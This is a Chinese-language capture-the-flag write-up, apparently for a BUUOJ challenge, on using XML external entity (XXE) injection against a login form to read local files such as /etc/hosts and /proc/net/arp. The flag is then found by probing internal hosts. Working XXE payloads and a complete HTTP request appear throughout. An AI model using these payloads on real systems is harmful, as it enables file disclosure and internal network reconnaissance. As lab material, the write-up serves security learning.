外部实体注入(xxe漏洞)之内网探测

外部实体注入(xxe漏洞)之内网探测

我们打开页面后,发现是一个登录界面,所以我们可以填入username和password的信息,然后抓包,发现一串字符串

1
<user><username>&admin;</username><password>123</password></user>

所以我们可以判断是外部实体注入(xxe漏洞),此时我们可以使用

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "file:///文件路径">
]>
<user><username>&admin;</username><password>123</password></user>

来读取文件读取文件的内容,其中的admin可以自定义,而当我们构造的是

1
file:///flag

的时候,发现没有出现flag,所以我们需要向其他的文件

1
2
3
file:///etc/hosts #读取hosts文件

file:///proc/net/arp #读取arp的信息

通过读取arp信息,我们可以看见一个ip

1
10.0.1.11

所以我们可以使用读取一下ip的信息

1
http://10.0.1.11/

发现报错

1
DOMDocument::loadXML(http://10.0.1.11/): failed to open stream: No route to host in

根据报错信息,我们试一下用bp扫描一下ip的C段

最后发现

1
http://10.0.1.6

可以读取,所以最后上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /doLogin.php HTTP/1.1
Host: 1de4c2c9-7b64-4fd9-9fe8-f95a61db93dc.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 168
Origin: http://1de4c2c9-7b64-4fd9-9fe8-f95a61db93dc.node4.buuoj.cn:81
Connection: close
Referer: http://1de4c2c9-7b64-4fd9-9fe8-f95a61db93dc.node4.buuoj.cn:81/
Cookie: UM_distinctid=17ae21e0e7f4c7-0fd161bcfd1ad38-4c3e257a-186a00-17ae21e0e80551

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "http://10.0.1.6/">
]>
<user><username>&admin;</username><password>123</password></user>